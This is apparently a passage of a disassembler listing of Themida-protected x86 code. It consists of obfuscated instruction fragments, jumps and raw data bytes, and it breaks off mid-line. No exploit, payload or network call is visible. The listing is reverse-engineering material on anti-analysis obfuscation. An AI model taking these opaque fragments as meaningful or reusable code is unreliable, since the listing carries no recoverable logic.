Themida_:0054EFFCj pop esp push dword ptr [edi+eax*4] push ebx mov ebx, 14494BF1h sub [esp+4], ebx jmp loc_54C86E ; --------------------------------------------------------------------------- dd 62EA68h, 6849E900h, 0E959FFFFh, 0FFFF6F00h ; --------------------------------------------------------------------------- loc_5506A8: ; CODE XREF: Themida_:00551FB3j add ebx, 4 push edx mov edx, 4 jmp loc_5511FC ; --------------------------------------------------------------------------- db 81h, 0C1h, 12h dd 8150DF23h, 0DE2890E1h, 81D9F70Bh, 0D879DBC1h, 0E9CB8973h dd 0FFFF7F87h ; --------------------------------------------------------------------------- loc_5506D4: ; CODE XREF: Themida_:0054C219j sub ebx, 41A8360Eh pop eax push ebp jmp loc_54E337 ; --------------------------------------------------------------------------- db 51h, 0B9h, 0FFh dd 54CC030h, 4D8E65C2h, 0C22DC801h, 594D8E65h, 48BE9h dd 5BDE0100h, 56B8B951h, 61E96786h, 0BEFFFF68h, 2B0F3698h dd 0FFA28FE9h, 3B7A05FFh, 78E96C42h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55071B: ; CODE XREF: Themida_:0054B1DBj pop esp jmp loc_548D4D ; --------------------------------------------------------------------------- loc_550721: ; CODE XREF: Themida_:0054D3AEj push edi mov edi, 562A2F0Fh shl edi, 7 xor edi, 1F6A645Fh and edi, 1D2E60E6h xor edi, 0BE0581Dh neg edi add edi, 43EE76DDh mov ebx, edi pop edi not ebx and ebx, 6FD4232Eh sub ebx, 2FD40128h jmp loc_54DA0D ; --------------------------------------------------------------------------- word_55075A dw 8B66h ; DATA XREF: Themida_:005462F4o dd 54552404h, 4BE565Dh, 1000000h, 0C9685EF5h, 8900004Bh dd 2E92434h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_550777: ; CODE XREF: Themida_:0054C785j mov edx, 655C605Bh and edx, 268F7172h or edx, 76A54CE8h neg edx add edx, 76AD6CFEh jmp loc_54D3AA ; --------------------------------------------------------------------------- loc_550795: ; CODE XREF: Themida_:00550C28j shl edx, 7 jmp loc_5523EE ; --------------------------------------------------------------------------- db 89h, 0E6h, 0E9h dd 0FFFF7B3Eh, 6240481h, 5952EC31h, 3106E981h, 495A52ECh dd 0C99AC181h, 0CA31AAB2h, 83240C8Bh, 0D58904C4h, 0F5E8E95Ah dd 248BFFFFh, 8D17E924h, 0B252FFFFh, 0FFC2809Bh, 5105E2C0h dd 0B56CB753h, 5BFD009Eh, 1E52E9h, 0A30F5C00h, 0E99C2404h dd 0FFFF5CF7h, 0C381E389h, 4, 8704EB83h, 895C241Ch, 68241Ch dd 0FF408C71h, 1C8B2434h, 0E72AE924h, 0C31FFFFh, 240C3324h dd 1E9C685Ch, 34890000h, 2474FF24h, 0AB9E904h, 88510000h dd 8BEB88C5h, 0B4E9240Ch db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55083B: ; CODE XREF: Themida_:00549CBBj or [edi+1Ch], esi pop esi jmp loc_54A98D ; --------------------------------------------------------------------------- dd 9AB450h, 0F6D0E9E3h, 0C146FFFFh, 815705EEh, 4ECh, 0ABF8E900h dd 0C481FFFFh, 4, 6AA2E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55086A: ; CODE XREF: Themida_:005475DDj ; Themida_:0055168Cj ... push esi push ebx jmp loc_5495B7 ; --------------------------------------------------------------------------- loc_550871: ; CODE XREF: Themida_:0054DC00j add esp, 4 push esi push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx push ebx push 6C013771h push dword ptr [esp] pop ebx add esp, 4 push esi mov esi, 73674A3h jmp loc_5465A1 ; --------------------------------------------------------------------------- byte_5508A5 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005462F8o dd 4EC8124h, 89000000h, 2E9241Ch db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_5508B7: ; CODE XREF: Themida_:0054B4A4j mov eax, 77A47199h neg eax add eax, 3675CB9h inc eax push esi mov esi, 32F7302Ch shr esi, 7 jmp loc_54A6CD ; --------------------------------------------------------------------------- dw 0BD55h dd 31D56E38h, 8246C29h, 24348B5Dh, 8104C483h, 5F87242Ch dd 0FCE93870h, 88FFFF5Bh, 88D4F6DCh, 0E678E9E3h, 0F531FFFFh dd 7577E95Eh, 0C681FFFFh, 78E26469h, 0E951DE01h, 0FFFFB10Fh ; --------------------------------------------------------------------------- loc_550910: ; CODE XREF: Themida_:005524FAj mov edi, 4 add ebp, edi pop edi jmp loc_54A20C ; --------------------------------------------------------------------------- loc_55091D: ; CODE XREF: Themida_:005477F4j mov esi, 0FFFFFFFFh jmp loc_551637 ; --------------------------------------------------------------------------- db 29h dd 0EB46E9DDh, 0C681FFFFh, 0BBF56603h, 575EF701h, 8CE9E789h dd 83FFFF8Dh, 8AE904C4h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_550947: ; CODE XREF: Themida_:0054FDADj not ebx xchg ebx, esi jmp loc_54C95B ; --------------------------------------------------------------------------- dd 0E908EFC1h, 0FFFFEEB7h, 57243489h, 2716A4BFh, 0E9DF8713h dd 0FFFFEDCAh ; --------------------------------------------------------------------------- loc_550968: ; CODE XREF: Themida_:00551718j mov edi, 0DE371B1h mov ebp, edi mov edi, [esp] add esp, 4 mov edi, 5EF672F7h sub edi, ebp pop ebp jmp loc_5521D9 ; --------------------------------------------------------------------------- dw 0EF81h dd 0C970E8B8h, 8904EC83h, 5D57242Ch, 0FFD468E9h, 0E56855FFh dd 89000071h, 4812424h, 424h, 0E6685D00h, 0E9000019h, 0FFFF691Ah dd 381FC781h, 0F901E8C2h, 0E9CB315Fh, 51Ch, 8704C583h dd 248B242Ch, 24048724h, 5224248Bh, 0FFDBA6E9h db 0FFh byte_5509D5 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00546300o dd 6659669Dh, 9C2414D3h, 0FFC837E9h, 86CEFEFFh, 86D3F6DEh dd 827AE9DEh, 0C301FFFFh, 241C8758h, 288645Ch, 0FF5AEAE9h dd 8DE952FFh db 0A1h, 2 dup(0FFh) byte_550A07 db 0FFh ; DATA XREF: Themida_:00546240o a4XhQ db '4$XhбQ',0 align 10h dd 0FF921EE9h db 0FFh ; --------------------------------------------------------------------------- loc_550A15: ; CODE XREF: Themida_:0054D8A1j inc esi push eax jmp loc_54EE79 ; --------------------------------------------------------------------------- dd 0BD242C89h, 21FF4A51h, 2C8BEA29h, 4C48324h, 0DA87EAD1h dd 0DA31D3F7h, 0DA31D331h, 7974C281h, 0F281360Ah, 51949DE3h dd 0FFD58DE9h, 4C481FFh, 81000000h, 4ECh, 62C3E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550A5A: ; CODE XREF: Themida_:0054BDB2j jz loc_549391 push dword ptr [edi+1Ch] push edi jmp loc_548ADB ; --------------------------------------------------------------------------- db 52h, 54h, 8Bh dd 0C4812414h, 4, 4C281h, 0C2830000h, 24148704h, 2404875Ch dd 4C4815Ch, 0F7000000h, 0AC94E9E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550A92: ; CODE XREF: Themida_:005498AEj xor [esp], edx xor edx, [esp] pop esp add [esp], eax push edx mov edx, 2925256Ah sub [esp+4], edx mov edx, [esp] add esp, 4 jmp loc_546763 ; --------------------------------------------------------------------------- loc_550AB4: ; CODE XREF: Themida_:00550C20j or ebp, 3B9B2554h sub ebp, 7D6DC5E3h mov ecx, ebp pop ebp push edx mov edx, 2917210h xor ecx, edx pop edx push eax jmp loc_550E8D ; --------------------------------------------------------------------------- dw 475Dh dd 0FFFEA9E9h, 5FFA89FFh, 0BE56DAF7h, 32987760h, 515EF201h dd 0B1287B9h, 3E9C175h, 8102E1C1h, 380DAAE1h, 99BD5565h dd 0C1657523h, 4D4D03EDh, 8108EDC1h, 0E459FFCDh, 86C58102h dd 0E9D33E68h, 0FFFFA2E4h, 5524048Bh, 249368h, 48F5400h dd 33A6824h, 4890000h, 4B824h, 44010000h, 5D580424h, 0FFAD40E9h dd 70D1BBFFh, 0DE017814h, 0CEC1815Bh, 1372974h, 0CEE981F1h dd 5E372974h, 0AC7FE955h db 2 dup(0FFh) word_550B5A dw 53ACh ; DATA XREF: Themida_:0054623Co dd 0FFAD9CE9h, 241C89FFh, 2434FF54h, 4C4815Bh, 50000000h dd 4B8h, 0E9C30100h, 0FFFFCFAFh dword_550B7C dd 0E924248Bh, 0FFFF5967h, 81243C8Bh, 4C4h, 240C8B00h ; DATA XREF: Themida_:0054643Co dd 81E38953h, 4C3h, 4C38300h, 0FFD2FFE9h, 243487FFh, 0F724248Bh dd 4EC81F9h, 89000000h, 0E389241Ch, 4BF5751h, 52000000h dd 89F88950h, 815258C2h, 1FCB242Ch, 81590228h, 281FCBC1h dd 815F5A02h, 2226DFC3h, 6A4EE976h, 0E280FFFFh, 7E2C0B5h dd 0F400E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550BEA: ; CODE XREF: Themida_:0054AF23j xchg ecx, [esp] jmp loc_54C924 ; --------------------------------------------------------------------------- dw 0DF87h dd 0FFC1E0E9h, 837B4FFh, 0C58058E5h, 0E9EF88A2h, 0FFFFBACEh dword_550C08 dd 24048B66h, 0EE95451h ; DATA XREF: Themida_:005463B8o db 5Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550C13: ; CODE XREF: Themida_:00546CF8j push ecx push ebp mov ebp, 63781023h or ebp, 55633B1h jmp loc_550AB4 ; --------------------------------------------------------------------------- loc_550C25: ; CODE XREF: Themida_:00549BC8j add edx, ebx pop ebx jmp loc_550795 ; --------------------------------------------------------------------------- loc_550C2D: ; CODE XREF: Themida_:0054B940j neg ecx inc ecx jmp loc_54980B ; --------------------------------------------------------------------------- db 81h, 0EBh, 18h dd 1009220h, 0C0835BD8h, 9B65E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edx mov edx, 4 jmp loc_5504FB ; --------------------------------------------------------------------------- dw 0D028h dd 0FFC2CFE9h, 0EF814FFFh, 22DE4094h, 24048157h, 36EF777Dh dd 6E24E95Ah, 0C329FFFFh, 7C38EB81h, 71E95EDBh db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550C83: ; CODE XREF: Themida_:0054FB09j neg eax add eax, 67E25562h sub eax, 4632D90Fh add ebp, eax pop eax pop eax xor ebp, 431E3168h add ebp, 0B774C4FFh sub [edi+24h], ebp mov ebp, [esp] push edi mov edi, esp push esi mov esi, 0D8D0985h and esi, 76227A4Ch jmp loc_5474CA ; --------------------------------------------------------------------------- loc_550CB9: ; CODE XREF: Themida_:005484ECj sub bl, 17h sub cl, bl pop ebx add al, cl push dword ptr [esp] jmp loc_54F180 ; --------------------------------------------------------------------------- loc_550CC9: ; CODE XREF: Themida_:0054EAB2j pop edx xor esi, 1C3975E4h shl esi, 2 jmp loc_54BCD9 ; --------------------------------------------------------------------------- dd 24348B5Bh, 4C481h, 0C6810000h, 4, 0FF837FE9h, 2434FFFFh dd 582434FFh, 0E9E78957h, 0FFFFC28Ah, 125CE81h, 0DEF75872h dd 64E8B850h, 0AEE9210Fh, 81FFFFD0h, 7F738AC5h, 81C5017Ah dd 7F738AEDh, 0F8E5E97Ah, 0CF81FFFFh, 66C71494h, 62E3BD55h dd 81455FF8h, 5013C2CDh, 0E578E96Ah, 2C89FFFFh, 53E6BD24h dd 0F581680Dh, 8B15DB6h, 0F7DDF745h, 0B95153DDh, 3F5854D8h dd 3A1BC181h, 0C9811C4Ah, 7EFE2E6Dh, 0FF938BE9h, 77CF68FFh dd 34890000h, 157CE924h, 34FF0000h, 2434FF24h, 5A2434FFh db 83h, 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54F739 ; --------------------------------------------------------------------------- db 0C1h dd 0E78105EFh, 76B3074Fh, 7E8AEF81h, 0D7F7025Fh, 2457E781h dd 0C78127A2h, 0F41CB58Dh, 0FFF279E9h, 52E389FFh, 6C88E955h dd 2E05FFFFh, 8B655831h, 0EC812414h, 4, 0E9241489h, 0FFFF802Fh dd 2C43B151h, 4C82807h, 58F2E907h, 1C87FFFFh, 0D8285C24h dd 52664A04h, 0A4E920B6h, 89FFFFE5h, 0BC74E9E2h, 0C781FFFFh dd 4, 4C781h, 4AE90000h, 5EFFFF77h, 0FF9680E9h, 0CF015FFFh dd 243C8759h, 2434FF5Ch, 0FF2434FFh, 34FF2434h, 0C4835924h dd 0E9545104h, 0FFFF70CBh dword_550E34 dd 240C8B66h, 6700E951h, 0E9C1FFFFh, 0EC815607h, 4, 0BF243C89h ; DATA XREF: Themida_:00546450o dd 2A53006Ch, 546251BEh, 5FFE292Ah, 66E9F131h, 0B5FFFFE0h dd 283FB262h, 240C8BEAh, 0FFD708E9h, 4C581FFh, 0E9000000h dd 0FFFFED3Dh ; --------------------------------------------------------------------------- loc_550E78: ; CODE XREF: Themida_:0054E7B7j pop ebp jmp loc_54E4BC ; --------------------------------------------------------------------------- dw 0C668h dd 8900006Dh, 0E189240Ch, 0FF6E88E9h db 0FFh ; --------------------------------------------------------------------------- loc_550E8D: ; CODE XREF: Themida_:00550ACDj mov eax, 4D5C5C19h and eax, 51C3C2Ch jmp loc_54E895 ; --------------------------------------------------------------------------- loc_550E9C: ; CODE XREF: Themida_:0054C9EEj sub esi, 1ECD32E9h push ebx mov ebx, 0CF4D8FC3h add esi, ebx jmp loc_547065 ; --------------------------------------------------------------------------- loc_550EAF: ; CODE XREF: Themida_:00549E02j mov eax, 297E0BF9h jmp loc_549BBC ; --------------------------------------------------------------------------- db 28h, 0F0h, 2Ch dd 9AF1E9C4h, 0D331FFFFh, 0B768565Ah, 5E76BF77h, 8106E6C1h dd 0CE911FF6h, 0E9F331A6h, 0FFFF9039h, 0E9D82959h, 0FFFFDAADh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_549C7F ; --------------------------------------------------------------------------- loc_550EEC: ; CODE XREF: Themida_:0054C176j pop eax pop esi sub eax, 63D17AB7h add eax, 2632551Ah sub eax, 47210784h add eax, ebx add eax, 47210784h push ecx mov ecx, 2632551Ah sub eax, ecx pop ecx add eax, 63D17AB7h mov ebx, [esp] add esp, 4 add eax, edi jmp loc_54B493 ; --------------------------------------------------------------------------- loc_550F1F: ; CODE XREF: Themida_:005481CAj pop ecx add esp, 4 mov ebx, [esp] sub esp, 4 mov [esp], eax mov eax, esp jmp loc_549BD8 ; --------------------------------------------------------------------------- dw 0E0C1h dd 35D0F706h, 0C0F6F55Eh, 0C1E9C389h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550F47: ; CODE XREF: Themida_:0054C295j pop ebx sub esp, 4 mov [esp], ecx sub dword ptr [esp], 440500FFh pop edi push ecx mov ecx, 5F10444Eh jmp loc_54AE33 ; --------------------------------------------------------------------------- db 52h, 81h, 4 dd 124h, 0EAD15A00h, 0EC835142h, 24148904h, 891E68BAh dd 25E95275h, 0B9FFFFF8h, 6E2F08D9h, 1C181h, 0E9810000h dd 5CCB88F9h, 76E9CE89h, 88FFFF56h, 0FE865AD7h, 8003E6C0h dd 0B3530EE6h, 6E3C04Ah, 0B6E9D330h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550FAF: ; CODE XREF: Themida_:00551A26j xor eax, esi jmp loc_549C1A ; --------------------------------------------------------------------------- dw 0BB53h dd 165C2269h, 4712EB81h, 0C3816AECh, 5CFC17C3h, 78B5E381h dd 83E926F6h, 5AFFFFF5h, 0FF5512E9h db 0FFh ; --------------------------------------------------------------------------- loc_550FD9: ; CODE XREF: Themida_:005521DBj mov eax, 37897509h xor [esp+4], eax mov eax, [esp] jmp loc_54DB97 ; --------------------------------------------------------------------------- dw 39BDh dd 81495E09h, 5E093DF5h, 7FAF2D49h, 0E80150E2h, 0FFEF46E9h db 0FFh ; --------------------------------------------------------------------------- loc_551001: ; CODE XREF: Themida_:0054C4EFj shr eax, 5 dec eax and eax, 1EFC34B0h sub esp, 4 mov [esp], edx mov edx, 2DD84E36h add edx, 0F124C00Fh add eax, edx pop edx add ebx, eax pop eax jmp loc_5481C5 ; --------------------------------------------------------------------------- loc_551026: ; CODE XREF: Themida_:00551E89j xchg ebp, [esp] pop esp mov [esp], ecx not dword ptr [esp] jmp loc_54E747 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 81000000h, 4EEh, 24348700h, 0A7F1E95Ch, 3834FFFFh, 0FFF7F3E9h db 0FFh byte_551051 db 0FFh, 74h, 24h ; DATA XREF: Themida_:005463F0o dd 2434FF04h, 0E92434FFh, 0FFFFE2C2h, 83241C8Bh, 0A3E904C4h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55106B: ; CODE XREF: Themida_:005517F9j and edi, ebx jmp loc_54A5AA ; --------------------------------------------------------------------------- dw 0C581h dd 3F2964C0h, 575DEA89h, 0F51762BFh, 5EFC16Ah, 6F1ACF81h dd 0EF816482h, 3BB649DAh, 9470F781h, 0FB2977ACh, 0E9D3015Fh dd 0FFFF5FDCh ; --------------------------------------------------------------------------- loc_5510A0: ; CODE XREF: Themida_:0055165Aj mov edx, 36AF63B3h shl edx, 8 or edx, 33BA19ADh not edx or edx, 3D730EE3h push 3EA5h mov [esp], edi jmp loc_549323 ; --------------------------------------------------------------------------- db 83h dd 8B042404h, 0A0E9241Ch db 72h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5510CF: ; CODE XREF: Themida_:00547703j pop esi or ebx, ebx jnz loc_54DEB1 sub esp, 4 mov [esp], ecx jmp loc_54AE0C ; --------------------------------------------------------------------------- dw 0E95Eh dd 0FFFF6900h dword_5510EC dd 8B2434FFh, 8951240Ch, 4BF57E1h, 1000000h, 0BE565FF9h ; DATA XREF: Themida_:005462A0o dd 4, 335EF101h, 0C31240Ch, 240C3324h, 0E924248Bh, 0FFFF9E84h ; --------------------------------------------------------------------------- loc_551118: ; CODE XREF: Themida_:0054D707j add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] pop esp jmp loc_55063F ; --------------------------------------------------------------------------- aNrss db '╜RИХ',0Bh,0 ; DATA XREF: Themida_:00546394o align 2 word_551132 dw 8B66h ; DATA XREF: Themida_:00546258o dd 0E9512404h, 0FFFFD806h, 322C381h, 8C681453h, 8900007Ch dd 1ABE2434h, 0E977356Eh, 0FFFFF420h, 0E904C683h, 0FFFFA265h dd 0E924248Bh, 0F3Dh, 66F1F65Ch, 53CCB60Fh, 12E9E389h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551173: ; CODE XREF: Themida_:005503A4j add ecx, ebp pop ebp push esi push ebp mov ebp, 43A46172h push edi mov edi, 153D6EACh mov esi, 50B9AD59h add esi, edi jmp loc_54966C ; --------------------------------------------------------------------------- db 83h dd 348904ECh, 46824h, 9EE90000h db 69h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55119F: ; CODE XREF: Themida_:0054D9C7j add esp, 4 add esp, 4 jmp loc_54B2DC ; --------------------------------------------------------------------------- byte_5511AD db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00546214o aHN db '$hуn',0 align 2 dw 75E9h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5511BB: ; CODE XREF: Themida_:005482B2j pop edi pop eax and edi, 1469009Eh sub edi, 2F7A6D31h sub edi, 4B003F6Eh sub edi, 99C653E7h sub ebp, 3AED3254h jmp loc_549B7B ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C481242Ch, 4, 104C483h, 8B0289FAh, 0E9522414h dd 0FFFF9910h ; --------------------------------------------------------------------------- loc_5511FC: ; CODE XREF: Themida_:005506B4j add ebx, edx pop edx xor ebx, [esp] jmp loc_546A19 ; --------------------------------------------------------------------------- loc_551207: ; CODE XREF: Themida_:00546521j xor ch, 0Fh push eax mov ah, 32h and ch, ah pop eax inc ch shr ch, 5 push edx mov dh, 8Fh xor ch, dh pop edx sub al, ch pop ecx mov bx, [esp] add esp, 2 push 6343h mov [esp], edx mov dl, 1Ch push 7C1Ch mov [esp], ebx push eax mov al, 82h push edx push ecx jmp loc_546676 ; --------------------------------------------------------------------------- loc_551244: ; CODE XREF: Themida_:0054D965j pop eax add dword ptr [esp+4], 38922AD1h pop esi pop dword ptr [edi+24h] loc_551251: ; CODE XREF: Themida_:0054B546j push 0AAEh jmp loc_54CEEB ; --------------------------------------------------------------------------- loc_55125B: ; CODE XREF: Themida_:0054D148j push edx jmp loc_54E239 ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 11h db 0C4h, 2 dup(0FFh) byte_551267 db 66h ; DATA XREF: Themida_:005462CCo dd 52240C8Bh, 8904EC83h, 0BA522424h, 4, 4245401h, 92E95A5Ah db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551283: ; CODE XREF: Themida_:0054B460j pop eax jmp loc_549D3D ; --------------------------------------------------------------------------- db 5Bh, 83h, 0C4h dd 24048F04h, 409665Ch, 50E99C24h, 81FFFF52h, 4ECh, 7789E900h dd 40E9FFFFh db 52h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5512AB: ; CODE XREF: Themida_:0054FC9Ej add esp, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], edi jmp loc_54A5CE ; --------------------------------------------------------------------------- db 81h dd 93CFEC7h, 81EF0169h, 93CFEEFh, 0EF815D69h, 4, 5C243C87h dd 0FF242C89h, 8B042474h, 73E9242Ch, 5EFFFF74h, 8B24048Fh dd 4FF2424h, 2CE99C24h, 0C1FFFFEDh, 0C78102EFh, 511D2DACh dd 4252E781h, 6AE92A49h, 54FFFFE3h, 0FFBCB9E9h, 0CAE951FFh dd 2DFFFF86h, 7DD6064Eh, 5024348Bh, 4EC81h, 24890000h dd 24048324h, 0AE95804h db 5, 2 dup(0) byte_551333 db 66h ; DATA XREF: Themida_:00546448o dd 6824048Bh, 7B9Bh, 68241489h, 796Ch, 81242489h, 42404h dd 815A0000h, 4C2h, 2BD5500h, 1000000h, 73685DEAh, 89000073h dd 74FF2414h, 34FF0424h, 89575A24h, 4C781E7h, 81000000h dd 4C7h, 243C8700h, 0FFE0B7E9h db 0FFh ; --------------------------------------------------------------------------- loc_551385: ; CODE XREF: Themida_:0054FBE7j push ecx mov ecx, 4F4102E8h jmp loc_54A992 ; --------------------------------------------------------------------------- dd 0B7241C89h, 12B45064h, 8607E4C0h, 0E9D5F6ECh, 0FFFF7F20h dd 1489665Ch, 9C506624h, 0FF513AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5513B1: ; CODE XREF: Themida_:0054833Ej mov ebp, edi jmp loc_54B8C4 ; --------------------------------------------------------------------------- dd 0ACE95954h, 89FFFFA1h, 24E92404h db 51h, 2 dup(0FFh) byte_5513C7 db 66h ; DATA XREF: Themida_:00546474o dd 6824048Bh, 57B1h, 54241489h, 0FF963CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5513D9: ; CODE XREF: Themida_:0054C574j push 14F0h mov [esp], ecx push eax mov eax, 5EA37033h mov ecx, 0B579AB99h sub ecx, eax pop eax jmp loc_54B895 ; --------------------------------------------------------------------------- dd 4C481h, 81590000h, 4C1h, 4EC8100h, 89000000h, 0E9522434h dd 0FFFFD564h, 4C681h, 0C6830000h, 10B0E904h, 0C5810000h dd 46343034h, 40BD6858h, 3C890000h, 9EBA5224h, 0BF416662h dd 0BE999D66h, 815AD701h, 512D34C5h, 81FD2978h, 512D34EDh dd 2C875F78h, 48E95C24h, 88FFFFB3h, 6559E9E1h db 2 dup(0FFh) word_55145A dw 868h ; DATA XREF: Themida_:00546334o dd 89000030h, 84E92414h, 66FFFF50h, 50665958h, 0C2006DB0h dd 0C2805866h, 0E9D2F688h, 0FFFF6226h, 0F705EFC1h, 46F787D7h dd 0EF81F787h, 9ADAD5ADh, 0FF7D56E9h, 2434FFFFh, 0E924048Bh dd 0FFFFC120h, 32240C30h, 0C30240Ch, 5041E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5514AA: ; CODE XREF: Themida_:0054EBAFj xor eax, edx jmp loc_54F62E ; --------------------------------------------------------------------------- db 89h, 0E3h, 51h dd 7124E954h, 0D3F7FFFFh, 66F3E957h, 0A668FFFFh, 0E9000061h dd 0FFFF5682h, 375B3566h, 58C18966h, 0FFB7A9E9h, 82EF81FFh dd 132C840h, 82C781CFh, 5932C840h, 0FAC181h, 8FE97FE2h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5514F3: ; CODE XREF: Themida_:00547377j push esi mov esi, 78A1755Fh mov ebp, 4F5FC1B5h xor ebp, esi pop esi xor eax, ebp pop ebp add ebx, eax jmp loc_549082 ; --------------------------------------------------------------------------- byte_55150B db 66h ; DATA XREF: Themida_:00546244o dd 66705D68h, 6649D468h, 663E4568h, 66242489h, 2240481h dd 48F6600h, 89B6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55152A: ; CODE XREF: Themida_:0054DCA3j pop eax jmp loc_546592 ; --------------------------------------------------------------------------- dword_551530 dd 9C241CF7h, 0FF4FB2E9h, 0F6815AFFh, 1A3497A4h, 50FEEB81h ; DATA XREF: Themida_:005462BCo dd 0F30140ABh, 50FEC381h, 3E940ABh, 0C0FFFFE8h, 0DDF608EDh dd 800EED80h, 0EF280FF5h, 0E9240C8Bh, 433h, 2434FF5Bh dd 0FFD1BBE9h, 5E089FFh, 4, 0FFCB0BE9h, 2BAFFh, 0D0010000h dd 8124148Bh, 4C4h, 99FDE900h, 815FFFFFh, 3D6682EAh, 4F4DE951h dd 7EBDFFFFh, 0F755111Fh, 0DED81DDh, 811EEC70h, 861FABEDh dd 0ECBB534Ah, 81EFC6E1h, 76710CEDh, 0F365E930h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5515C2: ; CODE XREF: Themida_:005520F7j add esp, 4 xor ebx, 662650CCh shl ebx, 5 sub ebx, 596AE52Dh sub esp, 4 mov [esp], eax jmp loc_5504A3 ; --------------------------------------------------------------------------- db 28h, 0C3h, 80h dd 1868FBEBh, 89000023h, 5DB22414h, 0F5AD300h, 8957C0B6h dd 0E6E955E7h, 81FFFF9Ch, 3DBAAFC6h, 5EF28923h, 4245401h dd 0FFF9BEE9h db 0FFh byte_551615 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054630Co db 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push 25FD54D6h mov esi, [esp] add esp, 4 push eax mov eax, 4D343F2h jmp loc_55037C ; --------------------------------------------------------------------------- loc_551637: ; CODE XREF: Themida_:00550922j sub [edi+24h], esi pop esi jmp loc_54A5EF ; --------------------------------------------------------------------------- loc_551640: ; CODE XREF: Themida_:0054E3C9j push ecx jmp loc_54FE84 ; --------------------------------------------------------------------------- loc_551646: ; CODE XREF: Themida_:005484AEj mov [esp], eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] push edx jmp loc_5510A0 ; --------------------------------------------------------------------------- loc_55165F: ; CODE XREF: Themida_:0054FCA4j xor ebx, eax jmp loc_5525F4 ; --------------------------------------------------------------------------- loc_551666: ; CODE XREF: Themida_:0054D3A5j push ebp loc_551667: ; DATA XREF: Themida_:off_5652CFo mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_550010 ; --------------------------------------------------------------------------- loc_55167A: ; CODE XREF: Themida_:0054DB15j add esp, 4 add ebx, 4 xchg ebx, [esp] pop esp or eax, eax jz loc_55086A push dword ptr [edi+28h] mov eax, [esp] jmp loc_547FF3 ; --------------------------------------------------------------------------- aUH db 'аЦ',8,'h:<',0 dd 0A61CE900h, 3489FFFFh, 75836824h, 0C15E36CBh, 0E68106E6h dd 39B72A9Bh, 2414F756h, 5AC6815Eh, 891CD40Ah, 0B7DAE9F5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5516CE: ; CODE XREF: Themida_:005520C8j add dword ptr [esp+4], 29007597h add dword ptr [esp+4], 5F8F3400h jmp loc_54AF15 ; --------------------------------------------------------------------------- loc_5516E3: ; CODE XREF: Themida_:00546A22j push 1F37h mov [esp], ebp push esp pop ebp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_548E95 ; --------------------------------------------------------------------------- dd 4EC81h, 14890000h, 51F8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551716: ; CODE XREF: Themida_:00550648j push ebp push edi jmp loc_550968 ; --------------------------------------------------------------------------- db 0C1h, 0E7h, 2 dd 7CCA68h, 992EE900h, 0E95BFFFFh, 0FFFFB8FEh, 93B2C781h dd 5857ECC1h, 0A2A2E95Fh, 0BD55FFFFh, 328C4C88h, 815DEF89h dd 360115EFh, 2BE7812Eh, 0E9107B6Ah, 77Eh, 68h, 24242800h dd 8324248Ah, 0F48004C4h, 58E68892h, 0C6FEC6FEh, 0D6F6C6FEh dd 2EE9EED0h, 57FFFFDDh, 407968h, 48F5400h, 24048324h dd 0C7815F04h, 4, 4EF81h, 3C330000h, 62D2E924h db 2 dup(0FFh) word_55179E dw 28Fh ; DATA XREF: Themida_:005464A0o dd 0FF4D46E9h db 0FFh ; --------------------------------------------------------------------------- loc_5517A5: ; CODE XREF: Themida_:005494D1j sub ecx, 4 push 52DDh mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] mov [esp], edx jmp loc_551ECE ; --------------------------------------------------------------------------- db 52h dd 4BAh, 0E9D60100h, 0FFFFD714h, 8B241433h, 0F662424h dd 9C2404B3h, 0FF4D0AE9h, 0F5EB81FFh, 0E96B066Ah, 0FFFFF950h ; --------------------------------------------------------------------------- loc_5517EC: ; CODE XREF: 